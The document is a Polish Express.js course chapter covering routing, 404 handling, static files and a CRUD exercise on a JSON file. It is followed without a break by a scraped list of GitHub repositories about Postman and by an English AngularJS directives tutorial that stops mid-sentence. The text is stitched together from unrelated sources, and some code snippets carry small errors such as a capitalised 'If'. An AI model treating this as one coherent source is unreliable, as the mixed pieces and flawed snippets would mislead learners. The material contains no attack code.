wróćmy do MVC. Głównym założeniem przyjętym podczas projektowania MVC było oddzielenie warstwy prezentacji od logiki biznesowej aplikacji. To podejście umożliwia tworzenie narzędzi działających bez graficznego interfejsu (zastępuje go wtedy tzw. Command Line Interface, a.k.a. CLI) i jest dalej popularne w środowisku Unixowym. Tak więc: Model jest reprezentacją logiki aplikacji / problemu z jakim się zmagamy / domeną. Widok opisuje w jaki sposób coś wyświetlić. W React są to komponenty (szczególnie te prezentacyjne). Kontroler przyjmuje dane od użytkownika aplikacji i reaguje na jego działania w obrębie widoku. Aktualizuje widok i model aplikacji. O samej architekturze można napisać osobny moduł tym bardziej, że jak już wcześniej wspomnieliśmy bardzo często przewija się on w środowisku front-end developerów i jest częścią składową wielu frameworków. Sama implementacja MVC wymaga wiedzy na temat programowania obiektowego i wzorców projektowych. Zainteresowanych zapraszam do przeczytania tej książki na temat wzorców projektowych stosowanych w JavaScripcie. Express dostarcza wielu funkcjonalności do tworzenia aplikacji webowych. Jak już wspomniałem, ułatwia on przede wszystkim szybki rozwój aplikacji opartych na Node.js. Podstawowymi cechami tego frameworka są: serwowanie plików statycznych za pomocą jednej komendy konfigurowanie middleware, czyli pośrednika między żądaniem a odpowiedzią w momencie, kiedy użytkownik wykonuje jakieś akcje, np. wysyła formularz, middleware może wykonać pewne czynności zanim dane zostaną zapisane. Nie sprowadza się to oczywiście tylko do zapisu danych, ale szerzej na temat tego zagadnienia powiemy sobie w dalszym rozdziale definiowanie tablicy routingu, czyli ścieżek (adresów), które wyświetlają odpowiednie treści, przyjmują i zapisują dane, bądź odpytane o dane zwracają je. Bazują na protokole HTTP oraz URI (ang. Uniform Resource Identifier) pozwala na dynamiczne tworzenie stron HTML bazujących na argumentach przekazanych do istniejących szablonów Nie przejmuj się, jeśli powyższe opisy wydają się być nieco zagmatwane. Kolejne rozdziały rozjaśnią sprawę! Zanim jednak przejdziemy do omawiania poszczególnych funkcjonalności Expressa, przeprowadzimy proces instalacji. Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.2. Instalacja ExpressJS Framework Express instalujemy używając npm, analogicznie do innych pakietów, które dodawaliśmy już we wcześniejszych modułach. Dla przypomnienia, wystarczy, że zainicjujesz swój projekt - npm init, a następnie użyjesz komendy npm install express --save, która zapisze zainstalowany pakiet w katalogu node_modules/ i doda go do sekcji dependencies w pliku package.json. Razem z Expressem należy zainstalować jeszcze jeden ważny moduł - body-parser, który jest pakietem pozwalającym na obsługę różnych formatów danych w middleware takich jak JSON, text czy tzw. surowe dane (ang. raw data). Aby go zainstalować, wpisz npm install body-parser --save. Pierwsza aplikacja w ExpressJS Sprawdźmy teraz, czy wszystko działa tak jak powinno. Testowa aplikacja, jaką stworzymy przy użyciu Expressa, będzie przedstawiała podstawową zasadę działania tego frameworka. Aplikacja uruchomi serwer oraz będzie nasłuchiwać na porcie 3000 w oczekiwaniu na połączenie - dokładnie w taki sam sposób, jak w przypadku serwera HTTP napisanego w “czystym" Node.js. Nasłuchiwanie oznacza nic innego jak oczekiwanie na połączenie - po wystąpieniu żądania, serwer odpowie nam klasycznym “Hello world". Zanim zaczniemy tworzyć aplikację, musimy wytłumaczyć sobie pewne pojęcia. Opis pojęcia routingu Routing to sposób określania jak aplikacja będzie odpowiadać na żądania klienta na dane endpointy przy użyciu konkretnych metod HTTP. Przypomnijmy sobie w jaki sposób wyglądały metody HTTP: GET - najprostsza z metod HTTP - służy do pobierania zasobów z serwera. Pobranymi zasobami mogą być np. pliki HTML, CSS, JavaScript czy obiekty JSON / XML. POST - ta metoda jest używana do wysyłania danych do serwera. Stosuje się ją np. przy formularzach lub przy wstawianiu zdjęć i wysyłaniu ich jako załącznik. Zwykle dane te wysyłane są jako para klucz-wartość. PUT - działa podobnie jak POST, czyli również służy do wysyłania danych. Różnicą jest ograniczenie do wysłania tylko jednej porcji danych - np. jednego pola. Metoda ta najczęściej używana jest do aktualizacji istniejących danych DELETE - metoda, która służy do usuwania danych z serwera. Chodzi oczywiście o dane, które zostały wskazane przy wysyłaniu żądania. Kolejnym pojęciem jest URI (nazywane również PATH) - jest to właśnie wspomniany wcześniej endpoint, który zawiera polecenia do wykonania gdy zostanie wywołany przez żądanie. Czas start! Na początek stwórzmy plik server.js w katalogu z projektem. Po zainstalowaniu powyższych zależności, drzewo projektu powinno wyglądać w następujący sposób: Aby mieć możliwość skorzystania z zainstalowanych zależności, na początku należy zadeklarować zmienną, w której będziemy przechowywać funkcjonalności pakietu Expressa. var express = require('express'); Jak widzisz, każda paczka JS'a działa dokładnie w taki sam sposób. Koncepcja modułów będzie przewijać się aż do końca tego kursu. Następnym krokiem będzie stworzenie aplikacji Express: var app = express(); Naszą aplikację przypisaliśmy do zmiennej app. Teraz możemy sprawić, aby odpowiadała prostym Hello world w momencie, w którym odbierzemy wysłane zapytanie GET na adres strony domowej: app.get('/', function(req, res) { res.send('Hello world'); }); Powyższy kod rejestruje pierwszy routing (proces przetwarzania otrzymanego adresu żądania i na jego podstawie decydowanie, co powinno zostać uruchomione) na wysłane żądanie GET po wejściu na stronę główną ( http://localhost:3000/ ). Jako callback na wystąpienie tego zdarzenia wywoływana jest funkcja, która w przypadku udanej odpowiedzi wyśle wiadomość Hello world. To jednak jeszcze nie koniec. Zarejestrowaliśmy obsługę pierwszego routingu, ale należy zainicjować nasłuchiwanie serwera na to i inne zdarzenia. Dopiszmy więc: var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Po zapisaniu powyższego kodu, należy uruchomić go komendą node server.js (lub za pomocą Nodemona, którego poznaliśmy w pierwszym module) - teraz po ponownym wejściu na adres http://localhost:3000/ powinniśmy zobaczyć następujący widok: Jest to znak, że nasza aplikacja działa! Jeśli masz wątpliwości do powyższego materiału, to - zanim zatwierdzisz - zapytaj na czacie :) Zapoznałe(a)m się! 17.3. Route, czyli ścieżka wyznaczona dla użytkownika aplikacji Wykorzystanie endpointów Rozwińmy teraz trochę aplikację stworzoną w poprzednim podrozdziale. Aktualnie kod w pliku server.js wygląda następująco: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Endpointy statyczne Na początek zmodyfikujemy lekko żądanie GET i do strony głównej zamiast Hello world! wpiszmy Hello GET! oraz dodamy linijkę drukującą otrzymane żądanie (po stronie serwera) jak poniżej: app.get('/', function (req, res) { console.log('Otrzymałem żądanie GET do strony głównej'); res.send('Hello GET!'); }); Warto w tym miejscu wspomnieć o narzędziu Postman - możesz pobrać je ze strony https://www.getpostman.com/. Używa się go do testowania endpointów. Postman jest prosty i intuicyjny w obsłudze - wystarczy, że podasz adres oraz metodę HTTP, jakiej chcesz użyć w odpowiednich polach i… już :) Pozostaje tylko wysłanie requesta i sprawdzenie czy response zgadza się z naszymi oczekiwaniami. Dodajmy też inne metody HTTP do naszej aplikacji. Zacznijmy od POST. Dla tej i kolejnej metody wykonamy podobne operacje. Chodzi tutaj o to, aby zaobserwować działanie zarejestrowanych endpointów. app.post('/', function (req, res) { console.log('Otrzymałem żądanie POST do strony głównej'); res.send('Hello POST!'); }); Do tego czasu oba nasze zapytania kierowaliśmy do strony domowej. Dodajmy teraz obsługę żądania z metodą DELETE oraz inną ścieżką: app.delete('/del_user', function (req, res) { console.log('Otrzymałem żądanie DELETE do strony /del_user'); res.send('Hello DELETE!'); }); DLA CHĘTNYCH: Przetestuj powyższe zapytanie w Postmanie! :) Dla praktyki, dodajmy jeszcze kilka innych endpointów, a następnie przejdźmy do testowania. app.get('/list_user', function (req, res) { console.log('Otrzymałem żądanie GET do strony /list_user'); res.send('Strona z listą użytkowników!'); }); app.get('/ab*cd', function(req, res) { console.log('Otrzymałem żądanie GET do strony /ab*cd'); res.send('Wzór pasuje'); }); Po dodaniu powyższych fragmentów kodu zapisz plik server.js, a następnie ponownie użyj komendy node server.js chyba, że używasz Nodemona :) Zerknijmy na endpoint /list_user Otrzymaliśmy to, czego oczekiwaliśmy. Sprawdźmy jeszcze inne. Jeśli jednak użyliśmy endpointa, którego nie zdefiniowaliśmy, otrzymamy odpowiedź jak na ostatnim obrazku. Endpointy dynamiczne Istnieje również inny typ endpointów, które nazywa się dynamicznymi. Używanie ich pozwala na przekazywanie parametrów i bazowanie na nich. Wróćmy na moment do kodu stworzonego na samym początku: var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, function() { console.log('Przykładowa aplikacja nasłuchuje na http://localhost:3000'); }); Najpierw zmodyfikujemy trochę bazowy kod. Usuńmy linijki 8-10, które miały nam tylko pokazać podstawowe informacje na temat serwera. Zamiast tego napiszmy po prostu: app.listen(3000); Tworzenie dynamicznego routingu pozwala na przekazywanie parametrów, więc spróbujmy najpierw z przykładowym id. Zamiast odwołać się do strony domowej ('/'), odwołajmy się do zmiennego parametru id. Parametr zmienny od statycznego rozróżnia się poprzez dodanie dwukropka (:) przed nazwę. W naszym przykładzie endpoint będzie więc wyglądał następująco: /:id Zmieńmy jeszcze odpowiedź z Hello world na 'Identyfikator, który został dopisany to ' + req.params.id. Czym jest req.params.id? req jest obiektem reprezentującym zapytanie HTTP (ang. request). Posiada on różne parametry, jak na przykład body (czyli ciało zapytania), nagłówki HTTP oraz parametry (params), które mamy zamiar odczytać. Parametr, który wstawiliśmy jako część adresu w metodzie GET, przekazujemy jako id. W poniższym przypadku wyświetli się komunikat Identyfikator który został dopisany to 123, o ile zapytanie wysłano na adres http://localhost:3000/123. Popróbuj z różnymi innymi parametrami i sprawdź czy aplikacja działa tak, jak tego oczekujesz. Obsługa błędu 404 za pomocą ExpressJS Co jeśli serwer nie rozpozna żądania? W Expressie odpowiedź 404 nie jest wynikiem błędu, więc nie jest wyłapywany w trakcie działania aplikacji. Spowodowane jest to tym, że 404 zwykle oznacza brak możliwości wykonania danej czynności, a nie błąd występujący z powodu jakiejś 'wpadki' programisty. Innymi słowy, Express wykonał wszystkie funkcje middleware (które poznamy w kolejnym rozdziale) oraz route'y i dopiero wtedy dowiedział się, że żaden z nich nie odpowiedział na żądanie - taki przypadek możemy obsłużyć poprzez dodanie funkcji middleware na samym końcu (poniżej pozostałych funkcji), aby obsługiwała status 404. Powróćmy znów do poprzedniego szablonu z metodą GET na stronę domową ('/'), która zwraca nam Hello world!. Dopiszmy teraz metodę middleware, która obsłuży nam błąd 404. Na samym końcu, poniżej fragmentu z nasłuchiwaniem dodajmy obsługę odpowiedzi 404: app.use(function (req, res, next) { res.status(404).send('Wybacz, nie mogliśmy odnaleźć tego, czego żądasz!') }); Po ponownym uruchomieniu skryptu, w przeglądarce powinieneś zobaczyć Hello world!. Spróbuj teraz dopisać coś na koniec adresu (tak jak w poprzednim rozdziale dopisaliśmy id). Powinieneś otrzymać następujący komunikat: Parametr next, który przekazujemy do funkcji jest funkcją, która pozwala “iść dalej" do kolejnej funkcji middleware lub zakończenia żądania. Można w ten sposób stworzyć także obsługę pozostałych błędów. Najczęściej obsługiwane błędy to: 400 - bad request - występuje gdy serwer nie może przetworzyć zapytania 401 - unauthorized - występuje gdy wymagane jest uwierzytelnienie, a nie zostało dostarczone 403 - forbidden - żądanie jest poprawne, jednak serwer odmawia odpowiedzi, może to wystąpić w przypadku gdy np. użytkownik jest zalogowany ale nie ma uprawnień do wykonania żądania 404 - not found - zasoby nie zostały znalezione 500 - internal server error - występuje gdy występują nieznane warunki i nie ma żadnej konkretnej wiadomości Zadanie: Operacje CRUD na pliku JSON Stwórzmy teraz aplikację, która będzie otwierać zewnętrzne pliki .json oraz edytować je. Zanim zaczniemy, w folderze projektu stwórz plik server.js, a następnie zainicjalizuj projekt poprzez wpisanie npm init w konsoli. Przejdźmy do pobrania potrzebnych zależności - tym razem będzie nam potrzebny Express oraz body-parser. Jak się zapewne domyślasz, możesz zainstalować je za pomocą komendy npm install --save express body-parser. Po pobraniu paczek, możemy śmiało przejść do pisania kodu - na początek przypisz zależności do zmiennych w pliku server.js. Dodaj także linijkę var fs = require('fs') - fs będzie nam potrzebny do operacji na plikach. Nie musimy go instalować, bo jest on wbudowany w Node :) Skoro zależności mamy już załatwione, zadeklaruj zmienną app, która wywoła funkcję express() oraz zmienną stringifyFile (na razie bez zadeklarowanej wartości). Tuż pod deklaracją zmiennych dodaj także linijkę app.use(bodyParser.json()); - to pozwoli Ci wykorzystać middleware body-parser, które zainstalowaliśmy przed chwilą. body-parser jest nam potrzebny, aby korzystać z formatu application/json - póki co nie przejmuj się pojęciem middleware, zajmiemy się nim nieco dalej w tym kursie :) Stwórz teraz endpoint GET /getNote, gdzie po wywołaniu zostanie wczytany Twój zewnętrzny plik JSON oraz wyświetlona zostanie jego zawartość. Przykłądowy plik test.json: {"menu": { "id": "file", "value": "File", "popup": { "menuitem": [ {"value": "New", "onclick": "CreateNewDoc()"}, {"value": "Open", "onclick": "OpenDoc()"}, {"value": "Close", "onclick": "CloseDoc()"} ] } }} Metoda która pozwoli nam na odczytanie pliku to readFile, którą można wywołać z zadeklarowanego wcześniej fs. Jako parametry przyjmuje ona najpierw plik, następnie opcje (np. kodowanie) i funkcję, która wywoła się po załadowaniu. W naszym przypadku będzie to więc następujący kod: fs.readFile('./test.json', 'utf8', function(err, data) { if (err) throw err; stringifyFile = data res.send(data); }); Teraz pora na stworzenie endpointa, który po wywołaniu nadpisze nam podany plik. Stworzymy do tego dynamiczny endpoint, który dopisze do pliku string, który przekażemy jako parametr. Stwórz tym razem POST na /updateNote/:note. Po jego wywołaniu tekst, który znajduje się w miejscu /:note powinniśmy dopisać do wczytanego pliku poprzez dodanie req.params.note do zmiennej stringifyFile, która przechowuje aktualną zawartość pliku. Po przypisaniu powyższej zmiennej, należy ponownie odwołać się do modułu fs tym razem używając metody writeFile. Pomoże nam w tym następujący fragment kodu: fs.writeFile('./test.json', stringifyFile, function(err) { If (err) throw err; console.log('file updated'); }); Na końcu pliku dodaj nasłuchiwanie na porcie 3000. Zapisz plik i uruchom aplikację wpisując node server.js w konsoli. Otwórz Postmana, ustaw metodę zapytania na GET, a w pole adresu wpisz http://localhost:3000/getNote. Jako response powinieneś otrzymać Twój stworzony wcześniej plik JSON. Po zmianie z GET na POST oraz wpisaniu /updateNote/test zamiast /getNote oraz wysłaniu requesta, Twój plik JSON powinien zostać zaktualizowany o słowo test :) Po ukończeniu zadania, wrzuć swój kod na Githuba i przekaż link do repozytorium mentorowi :) Podgląd zadania https://github.com/martinproxy0/Zadanie_17_3.git Wyslij link 17.4. Serwowanie plików statycznych Express posiada wbudowaną możliwość serwowania plików statycznych - takimi plikami są na przykład obrazki, pliki CSS czy JS. Aby serwować te pliki statycznie, wystarczy użyć express.static. Pliki statyczne to pliki, które zostają dostarczone do klienta bez generowania, modyfikacji czy przetwarzania - jedyne, co trzeba z nimi zrobić, to przekazać nazwę katalogu, w którym są przetrzymywane, do express.static - to wystarczy aby zacząć je serwować. Spróbujmy przedstawić to sobie na przykładzie. Załóżmy, że przetrzymujesz swoje zdjęcia i pliki CSS w katalogu assets/. Aby zacząć je serwować, możesz więc użyć następującej linijki: app.use(express.static('assets')); Zmodyfikujmy więc całkowicie naszą aplikację. Najpierw stwórzmy w katalogu projektu nowy katalog o nazwie assets/. Wrzućmy do niego jakiekolwiek zdjęcie/obrazek. W pliku server.js wróćmy do poprzedniego stanu (zanim zaczęliśmy zajmować się routingiem): var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello world'); }); var server = app.listen(3000, 'localhost', function() { var host = server.address().address; var port = server.address().port; console.log('Przykładowa aplikacja nasłuchuje na http://' + host + ':' + port); }); W tym przykładzie sami definiujemy port i adres, ale w prawdziwej aplikacji moglibyśmy tych wartości nie znać. Częstym przykładem jest sytuacja w której adres i port są zdefiniowane w osobnym pliku konfiguracyjnym. Ten plik byłby inny na naszym komputerze niż na serwerze na którym będziemy publikować aplikację - ale nasz kod ma działać w obu lokalizacjach. Dlatego do wyświetlenia linka potrzebowalibyśmy pobrania tych danych za pomocą metody .address(). Pozostaje teraz jedynie w linii nr 3 dodać to, o czym powiedzieliśmy sobie chwilkę temu, czyli linijkę app.use(express.static('assets')); Dla przypomnienia, w nawiasach do express.static przekazujemy katalog, w którym znajdują się pliki, które chcemy serwować. Po zapisaniu pliku server.js, możemy uruchomić aplikację. Teraz, aby zobaczyć nasz obrazek, wystarczy że po http://localhost:3000/ podamy nazwę pliku z rozszerzeniem - u mnie wygląda to tak: Stwórz sobie teraz prosty plik index.html, który będzie miał formularz z dwoma inputami typu text (o nazwach first_name i last_name) oraz jednym typu submit. Element Gdy już będzie gotowy, wrzuć go do katalogu /assets. Teraz czas na modyfikację pliku server.js. Najpierw zmieńmy to, co chcemy wysyłać, gdy zostanie wysłane żądanie do strony domowej. Zamień więc res.send('Hello world') na res.sendFile('/index.html') - jak się zapewne domyślasz, res.sendFile() wysyła w odpowiedzi plik zamiast wiadomości. Musimy również dodać obsługę żądania na endpoint, do którego będziemy kierować nasz formularz. app.get('/userform', function (req, res) { const response = { first_name: req.query.first_name, last_name: req.query.last_name }; res.end(JSON.stringify(response)); }); W czasie przetwarzania żądania, tworzymy nowy obiekt response, który ma klucze first_name oraz last_name. Do poszczególnych właściwości przypisujemy dane, które otrzymujemy w obiekcie req (od ang. request), czyli w obiekcie z żądaniem. Na koniec wyświetlamy nasz obiekt przetworzony na typ string za pomocą metody JSON.stringify. Po zapisaniu pliku server.js, aplikacja powinna pokazywać formularz, jak poniżej. Po wpisaniu wartości do inputów i wysłaniu ich, powinieneś zostać przekierowany do strony /userform, a po znaku zapytania powinny zostać wyświetlone parametry umieszczone przez Ciebie w inputach. Zadanie: Żonglujemy danymi pomiędzy endpointami Napisz kod obsługujący formularz zgodnie z wskazówkami z tego submodułu, a następnie wyślij swój kod na repozytorium oraz przekaż go do sprawdzenia mentorowi. Podgląd zadania https://github.com/martinproxy0/Zadanie_17_4.git Wyslij link 17.5. Middleware - pośrednik między żądaniem a odpowiedzią | 0 stars | 0 watchers | 0 forks |
|
tobiashochguertel/postman-proxy_server.py fixed, proxy, server, server. |
Postman Proxy Server fixed. | 0 stars | 0 watchers | 0 forks |
|
TakuCoder/postman desktop, desktops, devices, header, including, method, methods, parameter, pretty, stat, status, style, submit, support, supported, test, testing, tool |
Postman is a REST API testing tool for Android devices. It helps to test REST API without desktops. can submit a HTTP request with several headers, parameters and raw request body by 6 different HTTP methods including GET, POST, HEAD, PUT, DELETE and PATCH. HTTP response can be shown as three styles including pretty, raw and preview. Response status code and headers are also supported in Postman-Android. Currently in Development Stage | 3 stars | 3 watchers | 2 forks |
|
RS-codes/BooksFlaskAPI codes, method, methods |
Flask | Python | HTTPmethods | Postman | Application | API | Sqlite DB | Integration | UserAuthentication | 1 stars | 1 watchers | 0 forks |
|
alexanderkounadis/Angular-7-CRUD client, client side, consume, consumes, method, methods, require, required, retrieve, server |
Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. | 0 stars | 0 watchers | 1 forks |
|
zachdj/rpp-algorithms find, method, methods, tours |
Implementation of two heuristic methods to find good tours for the Rural Postman Problem (RPP) | 0 stars | 0 watchers | 1 forks |
|
alexanderkounadis/Angular-7-CRUD-WebAPI client, client side, consume, consumes, method, methods, require, required, retrieve, server |
Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. | 0 stars | 0 watchers | 0 forks |
|
andreshincapie82132/postman_methods method, methods, resource, resources, source |
A short repository with most useful posman resources | 0 stars | 0 watchers | 0 forks |
|
andynhn/java-spring-mvc-demo-books book, books, endpoint, endpoints, java, method, methods, spring, test |
Add update and delete methods and test the endpoints with Postman | 0 stars | 0 watchers | 0 forks |
|
anthonyvallee/riot-api-postman collection, method, methods, parameter, parameterized, riot |
Postman request collection that can be parameterized for all of League of Legends' API methods. | 0 stars | 0 watchers | 0 forks |
|
beata-krasnopolska/TodoApi class, controller, data, database, learn, method, methods, model, path, routing, tutorial |
The project made on according to the tutorial: Create a web API with ASP.NET Core. It allowed to learn how to create a web API project, Add a model class and a database context, Add a controller, Add CRUD methods, Configure routing and URL paths, Specify return values, Call the web API with Postman. | 0 stars | 0 watchers | 0 forks |
|
cpollet/postman-maven-plugin class, collection, export, maven, method, methods, plugin |
A maven plugin to export JAX-RS annotated classes and methods to Postman collection | 0 stars | 0 watchers | 0 forks |
|
ekor15/ConnectFour attempt, component, file, game, level, method, methods, rest, rest api |
an attempt to create a level 2 rest api for component base connect four game add postman file for methods calls | 0 stars | 0 watchers | 0 forks |
|
Mattcat1995/DataBaseTestProject connection, data, database, method, methods, test |
Goal of the project is to get a Django connection to a SQL database and test the methods with postman | 0 stars | 0 watchers | 0 forks |
|
naguibihab/postman-tests method, methods, test, tests |
Some test methods using postman | 0 stars | 0 watchers | 0 forks |
|
Smomic/PostmanProblem comparison, method, methods, problem |
Solving simplified Chinese postman problem by exact and heuristic algorithms and comparison these methods. | 0 stars | 0 watchers | 0 forks |
|
sn0112358/Angular-Directive-Project access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps |
Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing 